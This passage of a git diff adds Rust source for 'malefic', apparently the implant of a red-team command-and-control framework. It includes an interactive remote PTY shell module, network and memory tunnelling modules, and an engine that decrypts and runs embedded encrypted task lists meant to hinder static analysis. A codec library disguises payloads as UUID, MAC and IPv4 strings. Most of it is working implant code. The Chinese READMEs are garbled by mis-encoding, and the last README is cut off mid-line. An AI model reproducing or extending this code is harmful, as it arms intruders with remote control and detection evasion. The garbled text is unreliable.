master.resize(PtySize { + rows: r as u16, + cols: c as u16, + pixel_width: 0, + pixel_height: 0, + }); + } + } + } + "stop" => { + Self::terminate_and_remove_session(&session_id); + break; + } + _ => {} + } + } + } + + Self::terminate_and_remove_session(&session_id); + + let final_resp = PtyResponse { + session_id: session_id.clone(), + output_text: "Session exited".to_string(), + session_active: false, + ..Default::default() + }; + Ok(TaskResult::new_with_body(id, Body::PtyResponse(final_resp))) + } + + // --- Legacy request-response methods (backward compatible) --- + + async fn start_session(&mut self, id: u32, request: &PtyRequest) -> ModuleResult { + let session_id = if request.session_id.is_empty() { + format!("pty_{}", id) + } else { + request.session_id.clone() + }; + + { + let sessions = PTY_SESSIONS.lock().unwrap(); + if sessions.contains_key(&session_id) { + return Self::error_response( + id, + &session_id, + format!("PTY session {} already exists", session_id), + true, + ); + } + } + + let pty_system = native_pty_system(); + let cols = if request.cols > 0 { request.cols } else { 80 }; + let rows = if request.rows > 0 { request.rows } else { 24 }; + + let pair = pty_system + .openpty(PtySize { + rows: rows as u16, + cols: cols as u16, + pixel_width: 0, + pixel_height: 0, + }) + .map_err(|e| anyhow::anyhow!("Failed to create PTY: {}", e))?; + + let shell = Self::get_default_shell(&request.shell); + let mut cmd = CommandBuilder::new(&shell); + + if cfg!(windows) && shell.contains("powershell") { + cmd.arg("-NoLogo"); + } + + cmd.env("TERM", "xterm-256color"); + + let child = pair + .slave + .spawn_command(cmd) + .map_err(|e| anyhow::anyhow!("Failed to start shell: {}", e))?; + + let reader = pair + .master + .try_clone_reader() + .map_err(|e| anyhow::anyhow!("Failed to clone reader: {}", e))?; + let writer = pair + .master + .take_writer() + .map_err(|e| anyhow::anyhow!("Failed to get writer: {}", e))?; + + let (output_tx, output_rx) = mpsc::channel(); + let (input_tx, input_rx) = mpsc::channel(); + + let active = Arc::new(Mutex::new(true)); + let child_ref = Arc::new(Mutex::new(child)); + let master_ref = Arc::new(Mutex::new(pair.master)); + + let reader_session_id = session_id.clone(); + thread::spawn(move || read_pty(reader, output_tx, reader_session_id)); + + let writer_session_id = session_id.clone(); + let writer_active = active.clone(); + let writer_child = child_ref.clone(); + thread::spawn(move || { + write_pty( + writer, + input_rx, + writer_session_id, + writer_active, + writer_child, + ) + }); + + { + let mut sessions = PTY_SESSIONS.lock().unwrap(); + sessions.insert( + session_id.clone(), + PtySession { + input_sender: input_tx, + output_receiver: Arc::new(Mutex::new(output_rx)), + session_id: session_id.clone(), + active, + child: child_ref, + master: master_ref, + busy: Arc::new(AtomicBool::new(false)), + }, + ); + } + + let options = Self::collect_options(request, true); + let session = match Self::get_session_handles(&session_id) { + Ok(session) => session, + Err(error) => { + Self::terminate_and_remove_session(&session_id); + return Self::error_response(id, &session_id, error, false); + } + }; + + let collect_result = match Self::collect_output(&session.output_receiver, options).await { + Ok(result) => result, + Err(error) => { + Self::terminate_and_remove_session(&session_id); + return Self::error_response(id, &session_id, error, false); + } + }; + + let mut output_data = collect_result.output_data; + let output_text = if output_data.is_empty() { + let message = format!("PTY session started: {} (using {})", session_id, shell); + output_data = message.as_bytes().to_vec(); + message + } else { + String::from_utf8_lossy(&output_data).to_string() + }; + + let (output_text, prompt) = Self::remove_trailing_prompt(&output_text); + let mut metadata = HashMap::new(); + if let Some(p) = prompt { + metadata.insert("prompt".to_string(), p); + } + if collect_result.truncated { + metadata.insert("truncated".to_string(), "true".to_string()); + } + if collect_result.closed { + metadata.insert("closed".to_string(), "true".to_string()); + } + metadata.insert("shell".to_string(), shell); + + let session_active = !collect_result.closed; + if collect_result.closed { + Self::terminate_and_remove_session(&session_id); + } + + Self::success_response( + id, + &session_id, + output_data, + output_text, + session_active, + metadata, + ) + } + + async fn send_input(&mut self, id: u32, request: &PtyRequest) -> ModuleResult { + let session_id = &request.session_id; + if session_id.is_empty() { + return Self::error_response(id, "", "Missing session_id parameter".to_string(), false); + } + + let _active = match Self::check_session_status(session_id) { + Ok(active) => active, + Err(error) => return Self::error_response(id, session_id, error, false), + }; + + let session = match Self::get_session_handles(session_id) { + Ok(session) => session, + Err(error) => return Self::error_response(id, session_id, error, false), + }; + + let _busy_guard = match Self::acquire_session_busy(&session) { + Ok(guard) => guard, + Err(error) => { + return Self::error_response(id, session_id, error, false); + } + }; + + if let Ok(mut child_guard) = session.child.try_lock() { + if let Ok(Some(_)) = child_guard.try_wait() { + if let Ok(mut active_guard) = session.active.try_lock() { + *active_guard = false; + } + Self::terminate_and_remove_session(session_id); + return Self::error_response( + id, + session_id, + "Shell process is already closed".to_string(), + false, + ); + } + } + + let input_data = if !request.input_data.is_empty() { + request.input_data.clone() + } else { + request.input_text.as_bytes().to_vec() + }; + + if input_data.is_empty() { + return Self::success_response( + id, + session_id, + Vec::new(), + String::new(), + true, + HashMap::new(), + ); + } + + let is_special_key = Self::is_special_key(&input_data); + let legacy_pre_interrupt = + Self::parse_bool_param(&request.params, "legacy_pre_interrupt", false); + + if legacy_pre_interrupt && !is_special_key { + let _ = session.input_sender.send(vec![3]); + Delay::new(Duration::from_millis(100)).await; + Self::drain_output(&session.output_receiver); + } + + if let Err(_) = session.input_sender.send(input_data.clone()) { + return Self::error_response( + id, + session_id, + "Failed to send input - session may be closed".to_string(), + false, + ); + } + + let options = Self::collect_options(request, false); + let collect_result = match Self::collect_output(&session.output_receiver, options).await { + Ok(result) => result, + Err(error) => return Self::error_response(id, session_id, error, false), + }; + + let strip_echo = Self::parse_bool_param(&request.params, "strip_echo", true); + let detect_prompt = Self::parse_bool_param(&request.params, "detect_prompt", true); + + let mut cleaned_output = collect_result.output_data; + if strip_echo && !is_special_key { + cleaned_output = Self::remove_input_echo(&cleaned_output, &input_data); + } + + let mut output_text = String::from_utf8_lossy(&cleaned_output).to_string(); + let mut prompt = None; + if detect_prompt { + let (cleaned_text, detected_prompt) = Self::remove_trailing_prompt(&output_text); + output_text = cleaned_text; + prompt = detected_prompt; + } + + let mut metadata = HashMap::new(); + if let Some(p) = prompt { + metadata.insert("prompt".to_string(), p); + } + if collect_result.truncated { + metadata.insert("truncated".to_string(), "true".to_string()); + } + + let mut session_active = true; + if collect_result.closed { + metadata.insert("closed".to_string(), "true".to_string()); + session_active = false; + Self::terminate_and_remove_session(session_id); + } + + Self::success_response( + id, + session_id, + cleaned_output, + output_text, + session_active, + metadata, + ) + } + + async fn resize_session(&mut self, id: u32, request: &PtyRequest) -> ModuleResult { + let session_id = &request.session_id; + if session_id.is_empty() { + return Self::error_response(id, "", "Missing session_id parameter".to_string(), false); + } + + let session = match Self::get_session_handles(session_id) { + Ok(session) => session, + Err(error) => return Self::error_response(id, session_id, error, false), + }; + + let _busy_guard = match Self::acquire_session_busy(&session) { + Ok(guard) => guard, + Err(error) => { + return Self::error_response(id, session_id, error, false); + } + }; + + let cols = if request.cols > 0 { request.cols } else { 80 }; + let rows = if request.rows > 0 { request.rows } else { 24 }; + + let resize_result = if let Ok(master_guard) = session.master.try_lock() { + master_guard.resize(PtySize { + rows: rows as u16, + cols: cols as u16, + pixel_width: 0, + pixel_height: 0, + }) + } else { + return Self::error_response( + id, + session_id, + "Failed to acquire PTY master for resize".to_string(), + false, + ); + }; + + if let Err(error) = resize_result { + return Self::error_response( + id, + session_id, + format!("Failed to resize PTY: {}", error), + true, + ); + } + + let mut metadata = HashMap::new(); + metadata.insert("cols".to_string(), cols.to_string()); + metadata.insert("rows".to_string(), rows.to_string()); + + let message = format!("Resized PTY session to {}x{}", cols, rows); + Self::success_response( + id, + session_id, + message.as_bytes().to_vec(), + message, + true, + metadata, + ) + } + + async fn stop_session(&mut self, id: u32, request: &PtyRequest) -> ModuleResult { + let session_id = &request.session_id; + if session_id.is_empty() { + return Self::error_response(id, "", "Missing session_id parameter".to_string(), false); + } + + let removed = Self::terminate_and_remove_session(session_id); + if !removed { + return Self::error_response( + id, + session_id, + format!("PTY session {} does not exist", session_id), + false, + ); + } + + let message = "Session exited".to_string(); + Self::success_response( + id, + session_id, + message.as_bytes().to_vec(), + message, + false, + HashMap::new(), + ) + } + + async fn list_sessions(&mut self, id: u32) -> ModuleResult { + let (sessions_info, active_sessions) = { + let sessions = PTY_SESSIONS.lock().unwrap(); + if sessions.is_empty() { + ("No active PTY sessions".to_string(), Vec::new()) + } else { + let mut info = format!("Active PTY sessions ({} total):\n", sessions.len()); + let mut active_list = Vec::new(); + + for (session_id, session) in sessions.iter() { + let is_active = session + .active + .try_lock() + .map(|guard| *guard) + .unwrap_or(true); + + info.push_str(&format!("- {} (active: {})\n", session_id, is_active)); + if is_active { + active_list.push(session_id.clone()); + } + } + (info, active_list) + } + }; + + let response = PtyResponse { + session_id: String::new(), + output_text: sessions_info, + output_data: Vec::new(), + error: String::new(), + session_active: true, + active_sessions, + ..Default::default() + }; + Ok(TaskResult::new_with_body(id, Body::PtyResponse(response))) + } +} + +#[cfg(test)] +mod tests { + use super::*; + + #[test] + fn parse_bool_param_should_work() { + let mut params = HashMap::new(); + params.insert("enabled".to_string(), "true".to_string()); + assert!(Pty::parse_bool_param(¶ms, "enabled", false)); + assert!(!Pty::parse_bool_param(¶ms, "missing", false)); + } + + #[test] + fn parse_u64_param_should_clamp() { + let mut params = HashMap::new(); + params.insert("timeout".to_string(), "1".to_string()); + assert_eq!(Pty::parse_u64_param(¶ms, "timeout", 100, 50, 200), 50); + + params.insert("timeout".to_string(), "300".to_string()); + assert_eq!(Pty::parse_u64_param(¶ms, "timeout", 100, 50, 200), 200); + } + + #[test] + fn remove_input_echo_should_strip_prefix() { + let input = b"whoami\n"; + let output = b"whoami\nuser\n"; + let cleaned = Pty::remove_input_echo(output, input); + assert_eq!(cleaned, b"user\n"); + } + + #[test] + fn special_key_detection_should_work() { + assert!(Pty::is_special_key(&[27, 91, 65])); + assert!(Pty::is_special_key(&[9])); + assert!(!Pty::is_special_key(b"dir\n")); + } +} diff --git a/malefic-3rd/src/rem/mod.rs b/malefic-3rd/src/rem/mod.rs new file mode 100644 index 0000000..1b4d77e --- /dev/null +++ b/malefic-3rd/src/rem/mod.rs @@ -0,0 +1,137 @@ +use crate::prelude::*; +use async_trait::async_trait; +use futures::SinkExt; +use malefic_proto::proto::modulepb::{Block, Request, Response}; +use malefic_rem as rem; + +// #[cfg(feature = "load_rem")] +// pub struct LoadRem {} +// +// #[cfg(feature = "load_rem")] +// #[async_trait] +// #[module_impl("load_rem")] +// impl Module for LoadRem {} +// +// #[cfg(feature = "load_rem")] +// #[async_trait] +// impl ModuleImpl for LoadRem { +// async fn run(&mut self, id: u32, receiver: &mut Input, _sender: &mut Output) -> Result { +// let request = check_request!(receiver, Body::Request)?; +// let bin = check_field!(request.bin)?; +// to_error!(rem::RemReflection::load_rem(bin))?; +// +// Ok(TaskResult::new_with_body( +// id, +// Body::Response(Response::default()), +// )) +// } +// } + +#[cfg(feature = "rem_dial")] +pub struct RemDial {} + +#[cfg(feature = "rem_dial")] +#[async_trait] +#[module_impl("rem_dial")] +impl Module for RemDial {} + +#[cfg(feature = "rem_dial")] +#[async_trait] +impl ModuleImpl for RemDial { + async fn run(&mut self, id: u32, receiver: &mut Input, _sender: &mut Output) -> ModuleResult { + let request = check_request!(receiver, Body::Request)?; + let args = check_field!(request.args)?; + let cmdline = args.join(" "); + let agent_id = to_error!(rem::rem_dial(&cmdline))?; + let mut resp = Response::default(); + resp.output = agent_id; + Ok(TaskResult::new_with_body(id, Body::Response(resp))) + } +} + +#[cfg(feature = "memory_dial")] +pub struct MemoryDial {} + +#[cfg(feature = "memory_dial")] +#[async_trait] +#[module_impl("memory_dial")] +impl Module for MemoryDial {} + +#[cfg(feature = "memory_dial")] +#[async_trait] +impl ModuleImpl for MemoryDial { + async fn run(&mut self, id: u32, receiver: &mut Input, sender: &mut Output) -> ModuleResult { + let request = check_request!(receiver, Body::Request)?; + let Request { args, .. } = request; + + if args.len() != 2 { + return Err(anyhow!("Need two arguments: memhandle and dst")); + } + let memhandle = &args[0]; + let dst = &args[1]; + + // Establish connection + let handle = match rem::memory_dial(memhandle, dst) { + Ok(h) => h, + Err(e) => return Err(anyhow!(e)), + }; + + // Send connection success response + let response = Response { + output: handle.to_string(), + error: String::new(), + kv: Default::default(), + array: vec![], + }; + let _ = sender + .send(TaskResult::new_with_body(id, Body::Response(response))) + .await?; + + let mut buffer = vec![0u8; 4096]; // Default buffer size + let mut seq = 0; + + loop { + // Wait for command + let cmd = check_request!(receiver, Body::Block)?; + + if cmd.content.is_empty() { + // If content is empty, need to read data + match rem::memory_read(handle, &mut buffer) { + Ok(n) => { + let block = Block { + block_id: seq, + content: buffer[..n].to_vec(), + end: n < buffer.len(), // If bytes read is less than buffer size, reading is complete + }; + let _ = sender + .send(TaskResult::new_with_body(id, Body::Block(block))) + .await?; + } + Err(e) => { + let _ = rem::memory_close(handle); + return Err(anyhow!(e)); + } + } + } else { + // If content is not empty, need to write data + match rem::memory_write(handle, &cmd.content) { + Ok(_) => { + let _ = sender + .send(TaskResult::new_with_ack(id, cmd.block_id)) + .await?; + } + Err(e) => { + let _ = rem::memory_close(handle); + return Err(anyhow!(e)); + } + } + } + + if cmd.end { + let _ = rem::memory_close(handle); + return Ok(TaskResult::new_with_ack(id, cmd.block_id)); + } + seq += 1; + } + } +} diff --git a/malefic-crates/autorun/Cargo.toml b/malefic-crates/autorun/Cargo.toml new file mode 100644 index 0000000..dc6ea3a --- /dev/null +++ b/malefic-crates/autorun/Cargo.toml @@ -0,0 +1,21 @@ +[package] +name = "malefic-autorun" +version = "0.1.0" +edition = "2021" + +[features] +default = [] +external_spite = [] +embed = [] + +[dependencies] +anyhow = { workspace = true } +futures = { workspace = true } +malefic-gateway = { workspace = true } + +malefic-config = { workspace = true } +malefic-common = { workspace = true } +malefic-manager = { workspace = true, default-features = true } +malefic-modules = { workspace = true } +malefic-proto = { workspace = true, features = ["crypto_aes"] } +malefic-crypto = { workspace = true, default-features = true } diff --git a/malefic-crates/autorun/README.md b/malefic-crates/autorun/README.md new file mode 100644 index 0000000..c94a930 --- /dev/null +++ b/malefic-crates/autorun/README.md @@ -0,0 +1,76 @@ +# malefic-autorun + +åŠ å¯†ä»»åŠ¡åŠ è½½ä¸Žå¹¶å‘æ‰§è¡Œå¼•擎,从预置或外部的二进制数æ®ä¸­è§£å¯†ã€è§£åދ并ååºåˆ—化任务列表,通过信å·é‡æŽ§åˆ¶å¹¶å‘度并行执行所有任务。 + +## 功能简介 + +- **加密任务加载**:使用 AES å¯¹ç§°åŠ å¯†ä¿æŠ¤ä»»åŠ¡æ•°æ®ï¼ˆ`spite.bin`),è¿è¡Œæ—¶è‡ªåŠ¨è§£å¯†å¹¶è§£åŽ‹ +- **å¤šç§æ•°æ®æ¥æº**:支æŒç¼–è¯‘æ—¶åµŒå…¥ï¼ˆå«æ··æ·†åŠ å¯†ï¼‰ã€ç¼–译时嵌入(明文)ã€è¿è¡Œæ—¶ä»Žå¤–部文件读å–ä¸‰ç§æ¨¡å¼ +- **并呿‰§è¡Œå¼•擎**:基于 Tokio 多线程è¿è¡Œæ—¶ï¼Œé€šè¿‡ `Semaphore` æŽ§åˆ¶æœ€å¤§å¹¶å‘æ•°ï¼ˆé»˜è®¤ 6) +- **模å—化任务分å‘**:自动根æ®ä»»åŠ¡å称查找对应模å—,创建独立实例执行,互ä¸å¹²æ‰° +- **错误隔离**:æ¯ä¸ªä»»åŠ¡åœ¨ç‹¬ç«‹çš„ `tokio::spawn` 中è¿è¡Œï¼Œå•个任务失败ä¸å½±å“其他任务 + +## Features + +| Feature | 说明 | +|---------|------| +| `embed` | 使用混淆加密方å¼åœ¨ç¼–译时嵌入 `spite.bin`ï¼Œå¢žå¼ºé™æ€åˆ†æžå¯¹æŠ—能力 | +| `external_spite` | è¿è¡Œæ—¶ä»Žå¯æ‰§è¡Œæ–‡ä»¶åŒçº§ç›®å½•或当å‰ç›®å½•è¯»å– `spite.bin` 文件 | +| _(default)_ | 使用 `include_bytes!` 在编译时直接嵌入 `spite.bin` | + +**优先级**:`external_spite` > `embed` > 默认嵌入。当 `external_spite` å¯ç”¨æ—¶ï¼Œå¿½ç•¥åµŒå…¥æ–¹å¼ã€‚ + +## 基本用法 + +```rust +use malefic_autorun; + +// 使用默认并å‘度(6)执行所有预置任务 +malefic_autorun::run().unwrap(); + +// 自定义并å‘度 +malefic_autorun::run_with_concurrency(10).unwrap(); +``` + +### 执行æµç¨‹ + +```text +spite.bin (加密数æ®) + | + v +AES 解密 (key ç”± malefic-config æä¾›, iv = key 的逆åº) + | + v +解压缩 (decompress) + | + v +Protobuf ååºåˆ—化 -> Vec + | + v +Autorun::execute() -> 并呿‰§è¡Œæ‰€æœ‰ä»»åŠ¡ + | + v +Vec (执行结果) +``` + +### Autorun 结构体 + +```rust +use malefic_autorun::Autorun; + +// åˆ›å»ºæ‰§è¡Œå¼•æ“Žï¼ŒæŒ‡å®šæœ€å¤§å¹¶å‘æ•° +let autorun = Autorun::new(4)?; + +// 执行任务列表,返回所有任务的执行结果 +let results = autorun.execute(tasks).await?; +``` + +## é…置说明 + +- **spite.bin**ï¼šä»»åŠ¡æ•°æ®æ–‡ä»¶ï¼Œéœ€æ”¾ç½®åœ¨ `resources/spite.bin`ï¼ˆç¼–è¯‘æ—¶åµŒå…¥ï¼‰æˆ–å¯æ‰§è¡Œæ–‡ä»¶åŒçº§ç›®å½•(外部加载) +- **加密密钥**:由 `malefic-config::KEY` æä¾›ï¼ŒIV ä¸ºå¯†é’¥çš„é€†åºæŽ’åˆ— + +## å‚考链接 + +- [Tokio - 异步è¿è¡Œæ—¶](https://tokio.rs/) +- [Protocol Buffers](https://protobuf.dev/) diff --git a/malefic-crates/autorun/src/autorun.rs b/malefic-crates/autorun/src/autorun.rs new file mode 100644 index 0000000..318174b --- /dev/null +++ b/malefic-crates/autorun/src/autorun.rs @@ -0,0 +1,210 @@ +use anyhow::Result; +use futures::channel::mpsc::unbounded; +use futures::stream::{self, StreamExt}; +use futures::SinkExt; +use malefic_common::errors::MaleficError; +use malefic_manager::manager::{MaleficManager, ModuleRegister}; +use malefic_proto::proto::implantpb::Spite; +use std::sync::{Arc, RwLock}; + +fn default_manager() -> Result { + let mut manager = MaleficManager::new(); + manager.register_bundle( + "origin", + malefic_modules::register_modules as ModuleRegister, + ); + manager.refresh_module()?; + Ok(manager) +} + +pub struct Autorun { + module_manager: Arc>, + concurrency: usize, +} + +impl Autorun { + pub fn new(concurrency: usize) -> Result { + Ok(Autorun { + module_manager: Arc::new(RwLock::new(default_manager()?)), + concurrency, + }) + } + + pub async fn execute(&self, tasks: Vec) -> Result, MaleficError> { + let manager = Arc::clone(&self.module_manager); + let concurrency = self.concurrency.max(1); + let results: Vec = stream::iter(tasks) + .map(|spite| { + let mgr = Arc::clone(&manager); + async move { Self::run_task(mgr, spite).await } + }) + .buffer_unordered(concurrency) + .collect() + .await; + Ok(results) + } + + async fn run_task(manager: Arc>, spite: Spite) -> Spite { + let body = match spite.body.clone() { + Some(b) => b, + None => { + return Spite { + task_id: spite.task_id, + error: MaleficError::MissBody.id(), + ..Default::default() + }; + } + }; + + // Acquire the std::sync::RwLock, get an owned instance, then release the lock. + // new_instance() returns an owned Box, so no borrow lives past the guard. + let mut instance = { + let manager_guard = match manager.read() { + Ok(guard) => guard, + Err(_) => { + return Spite { + task_id: spite.task_id, + error: MaleficError::ModuleError.id(), + ..Default::default() + }; + } + }; + match manager_guard.get_module(&spite.name) { + Some(m) => m.new_instance(), + None => { + return Spite { + task_id: spite.task_id, + error: MaleficError::ModuleNotFound.id(), + ..Default::default() + }; + } + } + }; + // manager_guard is dropped here, lock is released + + let (mut input_sender, mut input_receiver) = unbounded(); + let (mut output_sender, _output_receiver) = unbounded(); + + if input_sender.send(body).await.is_err() { + return Spite { + task_id: spite.task_id, + error: MaleficError::ModuleError.id(), + ..Default::default() + }; + } + drop(input_sender); + + let result = instance + .run(spite.task_id, &mut input_receiver, &mut output_sender) + .await; + + match result { + Ok(result) => result.to_spite(), + Err(_) => Spite { + task_id: spite.task_id, + error: MaleficError::ModuleError.id(), + ..Default::default() + }, + } + } +} + +#[cfg(test)] +mod tests { + use std::fs; + use std::time::{SystemTime, UNIX_EPOCH}; + + use malefic_proto::proto::implantpb::spite::Body; + use malefic_proto::proto::implantpb::Spite; + use malefic_proto::proto::modulepb::{LsResponse, Request, Response}; + + use super::Autorun; + + fn unique_temp_dir(prefix: &str) -> std::path::PathBuf { + let unique = SystemTime::now() + .duration_since(UNIX_EPOCH) + .unwrap() + .as_nanos(); + std::env::temp_dir().join(format!("{}-{}", prefix, unique)) + } + + #[test] + fn autorun_executes_real_pwd_module() { + let autorun = Autorun::new(1).unwrap(); + let spite = Spite { + task_id: 7, + name: "pwd".to_string(), + body: Some(Body::Request(Request::default())), + ..Default::default() + }; + + let result = futures::executor::block_on(autorun.execute(vec![spite])).unwrap(); + + assert_eq!(result.len(), 1); + assert_eq!(result[0].task_id, 7); + assert_eq!(result[0].error, 0); + + let body = result[0].body.clone().expect("pwd should return a body"); + let response = match body { + Body::Response(response) => response, + other => panic!("unexpected pwd body: {:?}", other), + }; + + assert_eq!( + response.output, + std::env::current_dir() + .unwrap() + .to_string_lossy() + .to_string() + ); + } + + #[test] + fn autorun_executes_real_ls_module_with_request_input() { + let autorun = Autorun::new(1).unwrap(); + let temp_dir = unique_temp_dir("malefic-autorun-ls"); + fs::create_dir_all(&temp_dir).unwrap(); + let expected_file = "sample.txt"; + fs::write(temp_dir.join(expected_file), b"test").unwrap(); + + let spite = Spite { + task_id: 9, + name: "ls".to_string(), + body: Some(Body::Request(Request { + input: temp_dir.to_string_lossy().to_string(), + ..Default::default() + })), + ..Default::default() + }; + + let result = futures::executor::block_on(autorun.execute(vec![spite])).unwrap(); + let _ = fs::remove_dir_all(&temp_dir); + + assert_eq!(result.len(), 1); + assert_eq!(result[0].task_id, 9); + assert_eq!(result[0].error, 0); + + let body = result[0].body.clone().expect("ls should return a body"); + let response = match body { + Body::LsResponse(response) => response, + other => panic!("unexpected ls body: {:?}", other), + }; + + assert_ls_response(&response, expected_file); + } + + fn assert_ls_response(response: &LsResponse, expected_file: &str) { + assert!(response.exists); + assert!( + response.files.iter().any(|file| file.name == expected_file), + "expected '{}' in ls response: {:?}", + expected_file, + response.files + ); + } + + #[allow(dead_code)] + fn _assert_response_body(response: &Response) { + assert!(!response.output.is_empty()); + } +} diff --git a/malefic-crates/autorun/src/lib.rs b/malefic-crates/autorun/src/lib.rs new file mode 100644 index 0000000..a4eefca --- /dev/null +++ b/malefic-crates/autorun/src/lib.rs @@ -0,0 +1,62 @@ +mod autorun; +pub use autorun::Autorun; + +use malefic_config as config; +use malefic_crypto::compress::decompress; +use malefic_crypto::crypto::new_cryptor; +use malefic_proto::decode; + +const DEFAULT_CONCURRENCY: usize = 6; +const DEFAULT_WORKER_THREADS: usize = 4; + +#[cfg(all(not(feature = "external_spite"), feature = "embed"))] +malefic_gateway::lazy_static! { + pub static ref DATA: Vec = malefic_gateway::include_encrypted!("../../../resources/spite.bin"); +} + +#[cfg(all(not(feature = "external_spite"), not(feature = "embed")))] +malefic_gateway::lazy_static! { + pub static ref DATA: Vec = include_bytes!("../../../resources/spite.bin").to_vec(); +} + +#[cfg(feature = "external_spite")] +fn read_spite_bin() -> std::io::Result> { + let exe_spite_path = std::env::current_exe() + .ok() + .and_then(|p| p.parent().map(|dir| dir.join("spite.bin"))); + + if let Some(path) = exe_spite_path { + if let Ok(data) = std::fs::read(&path) { + return Ok(data); + } + } + + std::fs::read("spite.bin") +} + +pub fn run() -> anyhow::Result<()> { + run_with_concurrency(DEFAULT_CONCURRENCY) +} + +pub fn run_with_concurrency(concurrency: usize) -> anyhow::Result<()> { + #[cfg(feature = "external_spite")] + let data = read_spite_bin()?; + #[cfg(not(feature = "external_spite"))] + let data = DATA.clone(); + + malefic_common::block_on(DEFAULT_WORKER_THREADS, DEFAULT_WORKER_THREADS * 4, async { + let iv = config::KEY.clone().iter().rev().cloned().collect(); + let mut cryptor = new_cryptor(config::KEY.clone().to_vec(), iv); + let decrypted = cryptor.decrypt(data)?; + let decompressed = decompress(&*decrypted)?; + match decode(decompressed) { + Ok(spites) => { + let tasks: Vec<_> = spites.spites.into_iter().collect(); + let autorun = Autorun::new(concurrency)?; + let _results = autorun.execute(tasks).await?; + Ok(()) + } + Err(e) => Err(e.into()), + } + }) +} diff --git a/malefic-crates/codec/Cargo.toml b/malefic-crates/codec/Cargo.toml new file mode 100644 index 0000000..7cc1ad6 --- /dev/null +++ b/malefic-crates/codec/Cargo.toml @@ -0,0 +1,41 @@ +[package] +name = "malefic-codec" +version = "0.1.0" +edition = "2021" + +[features] +default = [] + +# Encode side needs random for key generation +encoder = [] + +# Individual codec features +codec_xor = [] +codec_uuid = [] +codec_mac = [] +codec_ipv4 = [] +codec_base64 = [] +codec_base45 = [] +codec_base58 = [] +codec_aes = ["dep:sha2", "dep:aes", "dep:cbc"] +codec_aes2 = ["codec_aes"] +codec_des = ["dep:des", "dep:ecb", "dep:cipher"] +codec_chacha = ["dep:chacha20"] +codec_rc4 = [] +codec_all = [ + "codec_xor", "codec_uuid", "codec_mac", "codec_ipv4", + "codec_base64", "codec_base45", "codec_base58", + "codec_aes", "codec_aes2", "codec_des", "codec_chacha", "codec_rc4", +] + +[dependencies] +malefic-common = { workspace = true } +malefic-gateway = { workspace = true } + +sha2 = { workspace = true, optional = true } +aes = { workspace = true, optional = true } +cbc = { version = "0.1", optional = true } +des = { version = "0.8", optional = true } +ecb = { version = "0.1", optional = true } +cipher = { version = "0.4", optional = true } +chacha20 = { version = "0.9", optional = true } diff --git a/malefic-crates/codec/README.md b/malefic-crates/codec/README.md new file mode 100644 index 0000000..621ea42 --- /dev/null +++ b/malefic-crates/codec/README.md @@ -0,0 +1,92 @@ +# malefic-codec + +纯 Rust 实现的 12 ç§å¯¹ç§°ç¼–è§£ç ç®—法库,用于 payload 混淆与还原。 + +## 功能简介 + +- æä¾› 12 ç§ç¼–è§£ç ç®—法,涵盖加密ã€ç¼–ç ã€æ ¼å¼ä¼ªè£…三大类 +- 所有算法å‡ä¸ºçº¯ Rust 实现,零 C ä¾èµ– +- ç¼–ç ç«¯ï¼ˆ`encoder`)自动生æˆéšæœºå¯†é’¥ï¼›è§£ç ç«¯ä»…需 `decode(data, key, extra)` +- 通过 feature gate 按需编译,最å°åŒ–二进制体积 +- 统一的 `EncodeResult` 输出结构,包å«å¯†æ–‡ã€å¯†é’¥ã€é™„åŠ ææ–™å’Œå­—符串表示 + +## 算法分类 + +**加密类** -- 使用密钥进行对称加解密: + +| 算法 | 说明 | +|------|------| +| XOR | å•字节异或 | +| AES | AES-256-CBC,SHA256 派生密钥,零 IV | +| AES2 | 与 AES 相åŒç®—法,CLI 输出格å¼ä¸åŒ | +| DES | DES-ECB,7 字节密钥扩展为 8 字节(å«å¥‡å¶æ ¡éªŒä½ï¼‰ | +| ChaCha20 | 32 字节密钥 + 12 字节 nonce | +| RC4 | 16 字节密钥æµå¯†ç  | + +**ç¼–ç ç±»** -- 无密钥的å¯é€†ç¼–ç ï¼š + +| 算法 | 说明 | +|------|------| +| Base64 | 标准 Base64 ç¼–è§£ç  | +| Base45 | Base45 ç¼–è§£ç  | +| Base58 | Base58 ç¼–è§£ç  | + +**æ ¼å¼ä¼ªè£…ç±»** -- 将字节æµç¼–ç ä¸ºå¸¸è§ç½‘络格å¼å­—符串: + +| 算法 | 说明 | +|------|------| +| UUID | 按 RFC 4122 字节åºé‡æŽ’ï¼Œæ¯ 16 字节生æˆä¸€ä¸ª UUID 字符串 | +| MAC | æ¯ 6 字节生æˆä¸€ä¸ª MAC 地å€å­—符串 | +| IPv4 | æ¯ 4 字节生æˆä¸€ä¸ª IPv4 地å€å­—符串 | + +## Features + +| Feature | 说明 | +|---------|------| +| `encoder` | å¯ç”¨ç¼–ç ç«¯ï¼ˆ`encode` 函数),引入 `rand` ç”¨äºŽå¯†é’¥ç”Ÿæˆ | +| `codec_xor` | XOR ç¼–è§£ç  | +| `codec_aes` | AES-256-CBC ç¼–è§£ç  | +| `codec_aes2` | AES2 ç¼–è§£ç ï¼ˆä¾èµ– `codec_aes`) | +| `codec_des` | DES-ECB ç¼–è§£ç  | +| `codec_chacha` | ChaCha20 ç¼–è§£ç  | +| `codec_rc4` | RC4 ç¼–è§£ç  | +| `codec_base64` | Base64 ç¼–è§£ç  | +| `codec_base45` | Base45 ç¼–è§£ç  | +| `codec_base58` | Base58 ç¼–è§£ç  | +| `codec_uuid` | UUID æ ¼å¼ä¼ªè£… | +| `codec_mac` | MAC åœ°å€æ ¼å¼ä¼ªè£… | +| `codec_ipv4` | IPv4 åœ°å€æ ¼å¼ä¼ªè£… | +| `codec_all` | å¯ç”¨å…¨éƒ¨ 12 ç§ç®—法 | + +## 基本用法 + +```rust +// ç¼–ç ç«¯ï¼ˆéœ€å¯ç”¨ encoder + 对应算法 feature) +let result = malefic_codec::xor::encode(payload); +// result.encoded -- ç¼–ç åŽçš„字节 +// result.key -- å¯†é’¥ææ–™ +// result.extra -- é™„åŠ ææ–™ï¼ˆå¦‚ nonce) +// result.strings -- 字符串表示(UUID/MAC/IPv4/Base 系列) + +// è§£ç ç«¯ï¼ˆä»…需对应算法 feature) +let plain = malefic_codec::xor::decode(&result.encoded, &result.key, &result.extra); +assert_eq!(plain, payload); +``` + +```toml +# Cargo.toml 按需选择 +[dependencies] +malefic-codec = { path = "../codec", features = ["encoder", "codec_xor", "codec_aes"] } +``` + +## ç»Ÿä¸€æŽ¥å£ + +æ¯ä¸ªç®—法模å—å‡å¯¼å‡ºç›¸åŒç­¾å的函数: + +```rust +// ç¼–ç ï¼ˆéœ€ encoder feature) +fn encode(data: &[u8]) -> EncodeResult; + +// è§£ç 